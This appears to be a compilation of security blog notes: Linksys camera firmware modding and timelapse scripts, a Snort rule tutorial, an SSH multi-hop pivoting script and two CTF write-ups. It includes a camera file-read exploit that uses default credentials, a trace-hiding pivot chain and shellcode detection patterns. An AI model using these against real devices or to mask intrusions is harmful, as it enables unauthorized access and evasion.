# Flashing WVC54GCA with a custom firmware


# file /sbin/init
/sbin/init: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c394677bccc720a3bb4f4c42a48e008ff33e39b1, stripped
# cat /etc/lsb-release | grep DESC
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
# mkdir wvc54gca
# cd wvc54gca
# wget http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24.tgz
# tar xvzf wvc54gca_v1.00R24.tgz
# md5sum wvc54gca_v1.00R24.tgz
26475f583a55acf515d90d9c0340899d  wvc54gca_v1.00R24.tgz
# apt-get install autotools-dev libncurses5-dev
# rm /bin/sh
# ln -s /bin/bash /bin/sh
# cd source
# cat README
# cat src/rootfs/etc/init.d/rcS
# echo -e "\n# ---- Start Telnet Server (debug) ---- #\n/usr/sbin/telnetd &" >> src/rootfs/etc/init.d/rcS
# cat src/rootfs/etc/passwd 
root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh
# openssl passwd -crypt toor
TEcqq4feRqPLA
# sed -i 's/9szj4G6pgOGeA/TEcqq4feRqPLA/' src/rootfs/etc/passwd
# ./makeall
# file FW/WVC54GCA.bin
FW/WVC54GCA.bin: data

# Timelapse with WVC54GCA (Linksys IP camera)


Video stream (no audio)

# vlc http://192.168.1.10/img/mjpeg.cgi
# vlc http://192.168.1.10/img/video.mjpeg
# vlc rtsp://192.168.1.10/img/video.sav

Video stream (audio)

# vlc http://192.168.1.10/img/video.asf

Snapshot

# wget --quiet --output-document=image.jpg 'http://192.168.1.10/img/mobile.cgi'
# wget --quiet --output-document=image.jpg 'http://192.168.1.10/img/snapshot.cgi?size=X&quality=Y'

- Size:
1 = 160×128
2 = 320×240
3 = 640×480

- Quality:
1 = Very high
2 = High
3 = Normal
4 = Low
5 = Very low

Timelapse

# cat timelapse.sh 
#!/bin/bash

action="$1"

if [ "$action" == "run" ]; then
 screen -dmS timelapse /bin/bash
"       screen -S timelapse -p 0 -X stuff "/root/timelapse/timelapse.sh take_pictures
 exit
fi

dir="/var/timelapse/jpg"

if [ "$action" == "take_pictures" ]; then
 camip="192.168.1.10"
 size="3"
 quality="1"
 url="http://$camip/img/snapshot.cgi?size=$size&quality=$quality"

 function getcol {
  echo $1 | awk -v c=$3 -F "$2" '{print $c}'
 }

 while `sleep 1`; do 
  date="`date +%u:%T`"
  second=`getcol "$date" ":" "4"`
  if [ "$second" == "00" ] || [ "$second" == "30" ]; then
   day=`getcol "$date" ":" "1"`
   hour=`getcol "$date" ":" "2"`
   minute=`getcol "$date" ":" "3"`
   od="$day-$hour$minute$second.jpg"
   wget --quiet --output-document=$dir/$od $url
  fi
 done
 exit
fi

if [ "$action" == "make_video" ]; then
 list="snapshots.list"
 vid="video.avi"
 if [ -f "$vid" ]; then
  timestamp=`date +%Y%m%d%H%M%S`
  vid="$vid-$timestamp"
 fi
 find $dir > $list
 mencoder "mf://$dir/*.jpg" -mf fps=7 -nosound -noskip -ovc copy -o $vid 
 rm $list
fi
# ./timelapse.sh run
# ./timelapse.sh make_video

Bonus

# cat cam.sh
#!/bin/bash

user="admin"
pass="1234"
ip="192.168.1.10"

action="$1"

if [ "$action" == "cat" ]; then
 file=`echo "$2" | sed -e 's/\./%2e/g' -e 's/\//%2f/g'`
 # http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/
 curl --silent -u $user:$pass "http://$ip/adm/file.cgi?next_file=$file"
 exit
fi

if [ "$action" == "reboot" ]; then
 curl --silent -u $user:$pass "http://$ip/adm/reboot.cgi"
 exit
fi

if [ "$action" == "video" ]; then
 vlc "http://$ip/img/video.asf"
 exit
fi

# Snort rule structure and syntax


Overview

A rule is a specified set of keywords and arguments used as matching criteria to identify security policy violations.
The engine compares packets against the conditions specified in each rule.
If the packet data matches all the conditions specified in a rule, the rule is triggered.
The action field in the rule specifies what should be done next.
Rules contain two logical sections: the rule header and the rule body.

The rule header

Identifies how to match traffic based on the following criteria:

- Action
- Protocol
- Source IP
- Source port
- Operator
- Destination IP
- Destination port

Example:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
Note the usage of variables. Makes rule management easier.

Action

The following actions are available in IDS mode:

- alert: Log the event and send an alert message to the output component.
- pass: Ignore the packet.

When your installation is deployed inline:

- Generate Events: Issues console alerts.
- Drop & Generate Events: Block and alert.
- Disabled: Prevents the rule from being enforced thus saving processing cycles.

Protocol

The following protocols are supported:

- TCP
- UDP
- ICMP
- IP

Source and Destination IPs

In all cases, the best practice is to use variables.
The system recognizes only IP addresses and will not accept hostnames.
You cand specify:

- Any IP address, using the keyword 'any'.
- A single IP address.
- A list of IP addresses [192.168.1.1, 192.168.1.5].
- A range of IP addresses 192.168.1.0/24.
- The negation of IP addresses !192.168.1.10.
- A variable previously defined in the snort.conf file.

Source and Destination Ports

You cand specify:

- Any port, using the keyword 'any'.
- A single port.
- A list of ports [21, 23, 80-90]
- A range of ports 80-443.
- The negation of ports !80
- A variable previously defined in the snort.conf file.

Operator: specifying direction

To indicate that a rule triggers against traffic:

- From the source IP to the destination IP, use the directional operator '->'.
- Between the source IP and the destination IP, use the bi-directional operator '<>'.

The rule body

This is where you can specifically drill into a packet and get the content that actually signals malicious or suspicious activity.
The entire body is enclosed in parentheses.
Rule options end in a semicolon (;).
An option is structured as a keyword followed by a colon (:), followed by one or multiple arguments. Arguments are separated by commas (,).
For example: tag:session, 30, seconds;
Options that act on content, apply on the previous argument string of the previous content keyword.
For example: content:"root"; nocase;
A rule can contain multiple content references. They are treated as an AND operation.
For example: content:"username:"; nocase; content:"password:"; nocase;

Defining the event message
alert tcp any any -> $HOME_NET 23 \
(msg:"Suspicious Telnet!";
content:"root"; nocase; \
sid:1000000;)
Content Matches

You can mix hexadecimal content and ASCII content.
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh";
You can also negate or exclude content.
content:!"GET";

Constraining content matches

- nocase: To ignore the case in ASCII strings.
- offset: Allows you to specify where the detection engine should start searching for content within a packet (bytes).
- depth: The maximum search depth (bytes) from the offset value.
- distance: The detection engine starts searching for content matches after the specified number of bytes from the previous content match.
- within: The next content match must occur within the specified number of bytes after the end of the last content match including the distance value.

Server flow

- to_client or from_server: Triggers on server responses.
- to_server or from_client: Triggers on client responses.
- established: Triggers on established TCP connections.
- stateless: Triggers regardless of the state of the stream processor.
- no_stream: Does not trigger on rebuilt stream packets.
- only_stream: Triggers only on rebuilt stream packets.

Snort ID option

Snort rules all have unique ID numbers.
Custom rules should you a number greater than 1000000.

Rule revision number

Lets you assign a revision number to a rule that you have edited.

Metadata

This is a required option for rules in the Sourcefire system.
You can embed additional information about a rule which other parts of the Snort engine can use.
For example:
metadata:service http;
metadata:impact_flag red;

Flags

To check if TCP flags are present:

F: FIN
S: SYN
R: RST
P: PSH
A: ACK
U: URG
1: Reserved bit 1
2: Reserved bit 2
0: No flags set

Use the following modifies to change the match criteria:

+: Match on the specified bits plus any others.
*: Match if any of the specified bits are set.
!: Match if the specified bits are not set.

flags:[!|*|+]<FSRPAU120>[,<FSRPAU120>]

The optional parameter indicates the flag bits you wish to ignore.

file_data

Sets the cursor used for detection to one of the following buffers:

- When traffic is HTTP:

1. HTTP response body, without chunking/compression/normalization.
2. HTTP de-chunked response body.
3. HTTP normalized response body, when normalized javascript is turned on.
4. HTTP UTF normalized response body, when normalized utf is turned on.
5. All of the above.

- When traffic is SMTP/POP/IMAP:

1. SMTP/POP/IMAP data body, including email headers and MIME when decoding is turned off.
2. Base64 decoded MIME attachment, when b64_decode_depth is greater than -1.
3. Non-Encoded MIME attachment, when bitenc_decode_depth is greater than -1.
4. Quoted-Printable decoded MIME attachment, when qp_decode_depth is greater than -1.
5. Unix-to-unix decoded attachment, when uu_decode_depth is greater than -1.

detection_filter

Replaces the threshold keyword in a rule.
It defines a rate which must be exceeded by source/destination before a rule can generate an event.
Is evaluated as part of the detection phase, just after pattern matching.

Parameters:

- track by_src or track by_dst.
- count: the number of events.
- seconds: the time over which the count is measured.

For example:

detection_filter: track by_src, count 10, seconds 30;

The alert will trigger after 10 events are seen from each unique source IP within 30 seconds.

fast_pattern

By default, the longest content statement for each rule is placed into the fast pattern matching engine.
Only if this string is found in a packet, the remaining options in the rule are evaluated.
However, you have the ability to control which piece of content gets placed into the fast pattern matching engine with the fast_pattern rule option.

content:"jumanji"; fast_pattern;

fast_pattern:only: the content should only be used for fast pattern matcher and not evaluated as a content rule option.
fast_pattern:<offset>,<length>: specify where the fast pattern matcher should look for the content.

flowbits

This rule option is used to set tags which can be referenced in subsequent rules.

Parameters:

- set: sets the specified state for the current flow.
- setx: sets the specified state exclusively.
- unset: unsets the specified states.
- toggle: inverts the specified state.
- isset: checks if the specified state is set.
- isnotset
- noalert: intructs to not generate an alert, regardless of the detection options.
- reset: resets the states on a given flow.

flowbits: [set|setx|unset|toggle|isset,isnotset,noalert,reset][,state_name][,group_name]

- state_name: the name that will be referred to in other rules when testing the flowbit.
- group_name: is used to associate multiple flowbits together.

byte_jump/test/extract

Gives the ability to seek information within a packet payload where the location of content is not necessarily known but can be obtained.

- byte_jump: moves the inspection pointer a number of bytes forward.
- byte_test: reads bytes and determine if they are less than, greater than, equal or not equal to a specified value.
- byte_extract: reads bytes and create a variable that represents this value.

Case #1: Malformed GIF overflow

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any \
(msg:"FILE-IDENTIFY GIF file magic detected"; \
flow:to_client, established; \
file_data; \
content:"GIF8"; depth:4; fast_pattern; \
content:"a"; within:1; distance:1; \
flowbits:set,file.gif; flowbits:noalert; \
metadata:service http, service imap, service pop3; \
classtype:misc-activity; \
sid:20459; rev:8;)

file_data;, the search for this content starts at the beginning of the file buffer not the payload.
flowbits:set,file.gif;, the file.gif flowbit is set.
metadata:service http, service imap, service pop3;, using the Adaptive Profiles feature the rule is still being enforced even though the $FILE_DATA_PORTS variable does not include non-standard ports.

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any \
(msg:"FILE-IMAGE Oracle Java Virtual Machine malformed GIF buffer overflow attempt"; \
flow:to_client,established; \
flowbits:isset,file.gif; \
file_data; \
content:"GIF"; \
byte_test:1,!&,128,7,relative; \
content:","; within:1; distance:10; \
content:"|00 00|"; within:2; distance:4; \
metadata:policy security-ips drop, service http, service imap, service pop3; \
reference:bugtraq,22085; reference:cve,2007-0243; \
classtype:attempted-user; \
sid:10062; rev:9;)

flowbits:isset,file.gif;, checks if the file.gif flowbit is set.
byte_test:1,!&,128,7,relative;, reads 1 byte at a location 7 bytes away from the DOE's pointer current location. DOE means Detect Offset End. The byte_test returns True if the logical AND between the byte and the mask (10000000b ~ 128d) is equal to 00000000b ~ False => !(False) = True. After this operation, the DOE pointer remains in the same position.
content:","; within:1; distance:10;, from the "GIF" match, after 10 bytes and within 1 byte, the value should be a comma.
content:"|00 00|"; within:2; distance:4;, from the "," match, after 4 bytes and within 2 bytes, the value should be 0x00 0x00.

Case #2: Windows Help Center escape sequence vulnerability

alert  tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any \
(msg:"OS_WINDOWS Microsoft Windows Help Center escape sequence XSS attempt"; \
flow:to_client,established; \
file_data; \
content:"hcp|3A 2F 2F|"; nocase; \
content:"script"; distance:0; nocase; \
content:"defer"; distance:0; nocase; \
pcre:"/hcp\x3a\x2f\x2f[^\n]*(\x3c|\x253c)script(\s|\x2520|\x2f)+defer/iO"; \
metadata:policy balanced-ips drop, policy security-ips drop, service http; \
reference:bugtraq,40725; \
reference:cve,2010-1885; \
reference:url,osvdb.org/show/osvdb/65264; \
reference:url,www.microsoft.com/technet/security/bulletin/MS10-042.mspx; \
classtype:attempted-user; \
sid:16665; rev:5;)

The distance:0 without a within, is simply telling the content match has to occur after the previous match, regardless where in the packet.
The use of three content matches before the pcre evaluation speeds up the rule.
hcp\x3a\x2f\x2f[^\n]*, search for hcp:// before no "new lines" characters until the next regex match.
(\x3c|\x253c)script, search for a "<" or a "%3c" before the "script" word.
(\s|\x2520|\x2f)+defer, search for at least one "whitespace" (space, tab, newline, formfeed, linebreak, ...) or a "%20" or a "/", before the "refer" word.
iO, two modifiers; i means case-insensitive and O forces to evaluate the regex, even if it is taking too long.

Case #3: The Kaminsky DNS vulnerability

alert udp $EXTERNAL_NET 53 -> $HOME_NET any \
(msg:"PROTOCOL-DNS large number of NXDOMAIN replies - possible DNS cache poisoning"; \
byte_test:1,&,2,3; \
byte_test:1,&,1,3; \ 
byte_test:1,&,128,2; \
detection_filter:track by_src, count 1200, seconds 30; \
metadata:service dns; \
reference:cve,2008-1447; \
reference:cve,2009-0233; \
reference:url,technet.microsoft.com/en-us/security/bulletin/MS09-008; \
reference:url,www.kb.cert.org/vuls/id/800113; \
classtype:misc-attack; \
sid:13948; rev:10;)

byte_test:1,&,2,3;, reads 1 byte at a location 3 bytes away and returns True if the logical AND between the byte and the mask (00000010b ~ 2d) is not equal to 0.
byte_test:1,&,1,3;, reads the previous byte again and returns True if the logical AND between the byte and the mask (00000001b ~ 1d) is not equal to 0.
byte_test:1,&,128,2;, reads 1 byte at a location 2 bytes away and returns True if the logical AND between the byte and the mask (10000000b ~ 128d) is not equal to 0.
detection_filter:track by_src, count 1200, seconds 30;, sets the threshold that must be met in order for the rule to trigger.

Case #4: The content option for overflow detection

alert tcp $EXTERNAL_NET any -> $HOME_NET 4000 \
(msg:"SERVER-OTHER Alt-N SecurityGateway username buffer overflow attempt"; \
flow:to_server, established; \
content:"username=",nocase; \
isdataat:450,relative; \
content:!"|3B|"; within:450; \
content:!"|3A|"; within:450; \
content:!"&"; within:450; \
content:!"|0A|"; within:450; \
metadata:service http;\
policy connectivity-ips drop, policy security-ips drop; \
reference:cve,2008-4193; reference:url,secunia.com/advisories/30497/; \
classtype:attempted-admin; \
sid:13916; rev:9;)

isdataat:450,relative;, verifies if there is 450 bytes after the end of the "username=" string.
Next, the engine verifies there is not a colon, semicolon, ampersand and linefeed within 450 bytes of the end of the "username=" string.

References

http://manual.snort.org

# Pivoting with SSH port forwarding


# cat traceraser 
#!/bin/bash

localhost="127.0.0.1"

declare -A pivotA
pivotA[ip]="1.1.1.1"
pivotA[user]="userA"

declare -A pivotB
pivotB[ip]="2.2.2.2"
pivotB[user]="userB"

declare -A pivotC
pivotC[ip]="3.3.3.3"
pivotC[user]="userC"

declare -A pivotD
pivotD[ip]="4.4.4.4"
pivotD[user]="userD"

declare -A Destination
Destination[ip]="5.5.5.5"
Destination[user]="UserDest"

#echo "||||||||||||"
#echo "TOR Cloud"
echo " ||||||||||"
echo "Pivot ${pivotA[ip]}"
#usewithtor ssh ...  Only in the first hop
ssh -L $localhost:6661:${pivotB[ip]}:22 -f -N -p 22   ${pivotA[user]}@${pivotA[ip]}
echo "  ||||||||"
echo "Pivot ${pivotB[ip]}"
ssh -L $localhost:6662:${pivotC[ip]}:22 -f -N -p 6661 ${pivotB[user]}@$localhost
echo "   ||||||"
echo "Pivot ${pivotC[ip]}"
ssh -L $localhost:6663:${pivotD[ip]}:22 -f -N -p 6662 ${pivotC[user]}@$localhost
echo "    ||||"
echo "Pivot ${pivotD[ip]}"
ssh -D 1080                             -f -N -p 6663 ${pivotD[user]}@$localhost
echo "     ||"
echo "Destination ${Destination[ip]}"
tsocks ssh -p 22 ${Destination[user]}@${Destination[ip]}
killall ssh
# ./traceraser.sh
 ||||||||||
Pivot 1.1.1.1
  ||||||||
Pivot 2.2.2.2
   ||||||
Pivot 3.3.3.3
    ||||
Pivot 4.4.4.4
     ||
Destination 5.5.5.5
UserDest@5.5.5.5's password:

# SecuInside CTF Quals 2k14: Reversing - yayaya (100 points)


# xdotool getmouselocation
# while [ True ]; do import -window root -delay 0 -crop 400x388-0+112 `date +%d%m%y%H%M%S`-$RANDOM.png; sleep 0.1; done
# cat blend-point.py
from PIL import Image
from glob import glob

i2 = None

for f in glob('*.png'):
    i1 = Image.open(f).point(lambda i: 255 if i > 0 else i)
    if i2 is None:
    i2 = i1
    i2 = Image.blend(i1, i2, 0.5).point(lambda i: 255 if i > 0 else i)

#i2.show()
i2.save('result.png')
# convert -crop 330x70+0+0 result.png flag.png
# xxd -p flag.png | tr -d '\n'
89504e470d0a1a0a0000000d494844520000014a00000046010000000082e7e0670000000467414d410000b18f0bfc6105000000017352474200aece1ce9000000206348524d00007a26000080840000fa00000080e8000075300000ea6000003a98000017709cba513c00000002624b47440001dd8a13a4000000097048597300000048000000480046c96b3e0000000976704167000001900000018400f0ee97860000009e4944415448c7ed93410a42310c440772805ea890ab077aa11e2010271111dde842f9b5fe218b69fb3633a4c05724310c1deae8e2aba32606218ede5fc53a1a850e63b4f146acc3d18c25a362d12f8f3294715d7265d6464f9dfa45694c3814cd6422c2ae266f38e536479bf14aa67ab39cf209d451ff0105821c6ecf34111c6f5128ddee682e4716846aa78ac34359d81dcd0f734725ec795df6473faa0b51cd2729b92be3540000002574455874646174653a63726561746500323031342d30362d30355431393a35383a31332b30323a3030ee0ccf6a0000002574455874646174653a6d6f6469667900323031342d30362d30355431393a35383a31332b30323a30309f5177d60000000049454e44ae426082

# SecuInside CTF Quals 2k14: Speed Game - Mic Check (7 points)


# ./rot.py -m inline -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"


['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RnU29oVOX0wtXqyTEbw2VhvSJkUSrby2Rdx2g0VPjbwDIoUSrpw3Fi
(2) S2SnV29oWPY0wtYqyUFbw2WhvTKkVTrby2Sdx2g0WQjbwEJoVTrpw3Gi
(3) T2TnW29oXQZ0wtZqyVGbw2XhvULkWUrby2Tdx2g0XRjbwFKoWUrpw3Hi
(4) U2UnX29oYRA0wtAqyWHbw2YhvVMkXVrby2Udx2g0YSjbwGLoXVrpw3Ii
(5) V2VnY29oZSB0wtBqyXIbw2ZhvWNkYWrby2Vdx2g0ZTjbwHMoYWrpw3Ji
(6) W2WnZ29oATC0wtCqyYJbw2AhvXOkZXrby2Wdx2g0AUjbwINoZXrpw3Ki
(7) X2XnA29oBUD0wtDqyZKbw2BhvYPkAYrby2Xdx2g0BVjbwJOoAYrpw3Li
(8) Y2YnB29oCVE0wtEqyALbw2ChvZQkBZrby2Ydx2g0CWjbwKPoBZrpw3Mi
(9) Z2ZnC29oDWF0wtFqyBMbw2DhvARkCArby2Zdx2g0DXjbwLQoCArpw3Ni
(10) A2AnD29oEXG0wtGqyCNbw2EhvBSkDBrby2Adx2g0EYjbwMRoDBrpw3Oi
(11) B2BnE29oFYH0wtHqyDObw2FhvCTkECrby2Bdx2g0FZjbwNSoECrpw3Pi
(12) C2CnF29oGZI0wtIqyEPbw2GhvDUkFDrby2Cdx2g0GAjbwOToFDrpw3Qi
(13) D2DnG29oHAJ0wtJqyFQbw2HhvEVkGErby2Ddx2g0HBjbwPUoGErpw3Ri
(14) E2EnH29oIBK0wtKqyGRbw2IhvFWkHFrby2Edx2g0ICjbwQVoHFrpw3Si
(15) F2FnI29oJCL0wtLqyHSbw2JhvGXkIGrby2Fdx2g0JDjbwRWoIGrpw3Ti
(16) G2GnJ29oKDM0wtMqyITbw2KhvHYkJHrby2Gdx2g0KEjbwSXoJHrpw3Ui
(17) H2HnK29oLEN0wtNqyJUbw2LhvIZkKIrby2Hdx2g0LFjbwTYoKIrpw3Vi
(18) I2InL29oMFO0wtOqyKVbw2MhvJAkLJrby2Idx2g0MGjbwUZoLJrpw3Wi
(19) J2JnM29oNGP0wtPqyLWbw2NhvKBkMKrby2Jdx2g0NHjbwVAoMKrpw3Xi
(20) K2KnN29oOHQ0wtQqyMXbw2OhvLCkNLrby2Kdx2g0OIjbwWBoNLrpw3Yi
(21) L2LnO29oPIR0wtRqyNYbw2PhvMDkOMrby2Ldx2g0PJjbwXCoOMrpw3Zi
(22) M2MnP29oQJS0wtSqyOZbw2QhvNEkPNrby2Mdx2g0QKjbwYDoPNrpw3Ai
(23) N2NnQ29oRKT0wtTqyPAbw2RhvOFkQOrby2Ndx2g0RLjbwZEoQOrpw3Bi
(24) O2OnR29oSLU0wtUqyQBbw2ShvPGkRPrby2Odx2g0SMjbwAFoRPrpw3Ci
(25) P2PnS29oTMV0wtVqyRCbw2ThvQHkSQrby2Pdx2g0TNjbwBGoSQrpw3Di

['abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) Q2QoT29pUNW0xuWrzSDcx2UiwRIlTRscz2Qey2h0UOkcxCHpTRsqx3Ej
(2) Q2QpT29qUNW0yvWsaSDdy2UjxRImTRtda2Qfz2i0UOldyCHqTRtry3Ek
(3) Q2QqT29rUNW0zwWtbSDez2UkyRInTRueb2Qga2j0UOmezCHrTRusz3El
(4) Q2QrT29sUNW0axWucSDfa2UlzRIoTRvfc2Qhb2k0UOnfaCHsTRvta3Em
(5) Q2QsT29tUNW0byWvdSDgb2UmaRIpTRwgd2Qic2l0UOogbCHtTRwub3En
(6) Q2QtT29uUNW0czWweSDhc2UnbRIqTRxhe2Qjd2m0UOphcCHuTRxvc3Eo
(7) Q2QuT29vUNW0daWxfSDid2UocRIrTRyif2Qke2n0UOqidCHvTRywd3Ep
(8) Q2QvT29wUNW0ebWygSDje2UpdRIsTRzjg2Qlf2o0UOrjeCHwTRzxe3Eq
(9) Q2QwT29xUNW0fcWzhSDkf2UqeRItTRakh2Qmg2p0UOskfCHxTRayf3Er
(10) Q2QxT29yUNW0gdWaiSDlg2UrfRIuTRbli2Qnh2q0UOtlgCHyTRbzg3Es
(11) Q2QyT29zUNW0heWbjSDmh2UsgRIvTRcmj2Qoi2r0UOumhCHzTRcah3Et
(12) Q2QzT29aUNW0ifWckSDni2UthRIwTRdnk2Qpj2s0UOvniCHaTRdbi3Eu
(13) Q2QaT29bUNW0jgWdlSDoj2UuiRIxTReol2Qqk2t0UOwojCHbTRecj3Ev
(14) Q2QbT29cUNW0khWemSDpk2UvjRIyTRfpm2Qrl2u0UOxpkCHcTRfdk3Ew
(15) Q2QcT29dUNW0liWfnSDql2UwkRIzTRgqn2Qsm2v0UOyqlCHdTRgel3Ex
(16) Q2QdT29eUNW0mjWgoSDrm2UxlRIaTRhro2Qtn2w0UOzrmCHeTRhfm3Ey
(17) Q2QeT29fUNW0nkWhpSDsn2UymRIbTRisp2Quo2x0UOasnCHfTRign3Ez
(18) Q2QfT29gUNW0olWiqSDto2UznRIcTRjtq2Qvp2y0UObtoCHgTRjho3Ea
(19) Q2QgT29hUNW0pmWjrSDup2UaoRIdTRkur2Qwq2z0UOcupCHhTRkip3Eb
(20) Q2QhT29iUNW0qnWksSDvq2UbpRIeTRlvs2Qxr2a0UOdvqCHiTRljq3Ec
(21) Q2QiT29jUNW0roWltSDwr2UcqRIfTRmwt2Qys2b0UOewrCHjTRmkr3Ed
(22) Q2QjT29kUNW0spWmuSDxs2UdrRIgTRnxu2Qzt2c0UOfxsCHkTRnls3Ee
(23) Q2QkT29lUNW0tqWnvSDyt2UesRIhTRoyv2Qau2d0UOgytCHlTRomt3Ef
(24) Q2QlT29mUNW0urWowSDzu2UftRIiTRpzw2Qbv2e0UOhzuCHmTRpnu3Eg
(25) Q2QmT29nUNW0vsWpxSDav2UguRIjTRqax2Qcw2f0UOiavCHnTRqov3Eh

['ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'] (52)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsAUFdy2WjxTKmVTtdA2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtBVGez2XkyULnWUueB2TgA2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRa0AxauCWHfA2YlzVMoXVvfC2UhB2k0YSnfAGLsXVvtA3Im
(5) V2VsY29tZSb0BybvDXIgB2ZmAWNpYWwgD2ViC2l0ZTogBHMtYWwuB3Jn
(6) W2WtZ29uaTc0CzcwEYJhC2anBXOqZXxhE2WjD2m0aUphCINuZXxvC3Ko
(7) X2Xua29vbUd0DAdxFZKiD2boCYPraYyiF2XkE2n0bVqiDJOvaYywD3Lp
(8) Y2Yvb29wcVe0EBeyGaLjE2cpDZQsbZzjG2YlF2o0cWrjEKPwbZzxE3Mq
(9) Z2Zwc29xdWf0FCfzHbMkF2dqEaRtcaAkH2ZmG2p0dXskFLQxcaAyF3Nr
(10) a2axd29yeXg0GDgAIcNlG2erFbSudbBlI2anH2q0eYtlGMRydbBzG3Os
(11) b2bye29zfYh0HEhBJdOmH2fsGcTvecCmJ2boI2r0fZumHNSzecCAH3Pt
(12) c2czf29AgZi0IFiCKePnI2gtHdUwfdDnK2cpJ2s0gavnIOTAfdDBI3Qu
(13) d2dAg29Bhaj0JGjDLfQoJ2huIeVxgeEoL2dqK2t0hbwoJPUBgeECJ3Rv
(14) e2eBh29Cibk0KHkEMgRpK2ivJfWyhfFpM2erL2u0icxpKQVChfFDK3Sw
(15) f2fCi29Djcl0LIlFNhSqL2jwKgXzigGqN2fsM2v0jdyqLRWDigGEL3Tx
(16) g2gDj29Ekdm0MJmGOiTrM2kxLhYAjhHrO2gtN2w0kezrMSXEjhHFM3Uy
(17) h2hEk29Flen0NKnHPjUsN2lyMiZBkiIsP2huO2x0lfAsNTYFkiIGN3Vz
(18) i2iFl29Gmfo0OLoIQkVtO2mzNjaCljJtQ2ivP2y0mgBtOUZGljJHO3WA
(19) j2jGm29Hngp0PMpJRlWuP2nAOkbDmkKuR2jwQ2z0nhCuPVaHmkKIP3XB
(20) k2kHn29Iohq0QNqKSmXvQ2oBPlcEnlLvS2kxR2A0oiDvQWbInlLJQ3YC
(21) l2lIo29Jpir0ROrLTnYwR2pCQmdFomMwT2lyS2B0pjEwRXcJomMKR3ZD
(22) m2mJp29Kqjs0SPsMUoZxS2qDRneGpnNxU2mzT2C0qkFxSYdKpnNLS3aE
(23) n2nKq29Lrkt0TQtNVpayT2rESofHqoOyV2nAU2D0rlGyTZeLqoOMT3bF
(24) o2oLr29Mslu0URuOWqbzU2sFTpgIrpPzW2oBV2E0smHzUafMrpPNU3cG
(25) p2pMs29Ntmv0VSvPXrcAV2tGUqhJsqQAX2pCW2F0tnIAVbgNsqQOV3dH
(26) q2qNt29Ounw0WTwQYsdBW2uHVriKtrRBY2qDX2G0uoJBWchOtrRPW3eI
(27) r2rOu29Pvox0XUxRZteCX2vIWsjLusSCZ2rEY2H0vpKCXdiPusSQX3fJ
(28) s2sPv29Qwpy0YVySaufDY2wJXtkMvtTDa2sFZ2I0wqLDYejQvtTRY3gK
(29) t2tQw29Rxqz0ZWzTbvgEZ2xKYulNwuUEb2tGa2J0xrMEZfkRwuUSZ3hL
(30) u2uRx29SyrA0aXAUcwhFa2yLZvmOxvVFc2uHb2K0ysNFaglSxvVTa3iM
(31) v2vSy29TzsB0bYBVdxiGb2zMawnPywWGd2vIc2L0ztOGbhmTywWUb3jN
(32) w2wTz29UAtC0cZCWeyjHc2ANbxoQzxXHe2wJd2M0AuPHcinUzxXVc3kO
(33) x2xUA29VBuD0daDXfzkId2BOcypRAyYIf2xKe2N0BvQIdjoVAyYWd3lP
(34) y2yVB29WCvE0ebEYgAlJe2CPdzqSBzZJg2yLf2O0CwRJekpWBzZXe3mQ
(35) z2zWC29XDwF0fcFZhBmKf2DQeArTCAaKh2zMg2P0DxSKflqXCAaYf3nR
(36) A2AXD29YExG0gdGaiCnLg2ERfBsUDBbLi2ANh2Q0EyTLgmrYDBbZg3oS
(37) B2BYE29ZFyH0heHbjDoMh2FSgCtVECcMj2BOi2R0FzUMhnsZECcah3pT
(38) C2CZF29aGzI0ifIckEpNi2GThDuWFDdNk2CPj2S0GAVNiotaFDdbi3qU
(39) D2DaG29bHAJ0jgJdlFqOj2HUiEvXGEeOl2DQk2T0HBWOjpubGEecj3rV
(40) E2EbH29cIBK0khKemGrPk2IVjFwYHFfPm2ERl2U0ICXPkqvcHFfdk3sW
(41) F2FcI29dJCL0liLfnHsQl2JWkGxZIGgQn2FSm2V0JDYQlrwdIGgel3tX
(42) G2GdJ29eKDM0mjMgoItRm2KXlHyaJHhRo2GTn2W0KEZRmsxeJHhfm3uY
(43) H2HeK29fLEN0nkNhpJuSn2LYmIzbKIiSp2HUo2X0LFaSntyfKIign3vZ
(44) I2IfL29gMFO0olOiqKvTo2MZnJAcLJjTq2IVp2Y0MGbTouzgLJjho3wa
(45) J2JgM29hNGP0pmPjrLwUp2NaoKBdMKkUr2JWq2Z0NHcUpvAhMKkip3xb
(46) K2KhN29iOHQ0qnQksMxVq2ObpLCeNLlVs2KXr2a0OIdVqwBiNLljq3yc
(47) L2LiO29jPIR0roRltNyWr2PcqMDfOMmWt2LYs2b0PJeWrxCjOMmkr3zd
(48) M2MjP29kQJS0spSmuOzXs2QdrNEgPNnXu2MZt2c0QKfXsyDkPNnls3Ae
(49) N2NkQ29lRKT0tqTnvPAYt2ResOFhQOoYv2Nau2d0RLgYtzElQOomt3Bf
(50) O2OlR29mSLU0urUowQBZu2SftPGiRPpZw2Obv2e0SMhZuAFmRPpnu3Cg
(51) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh

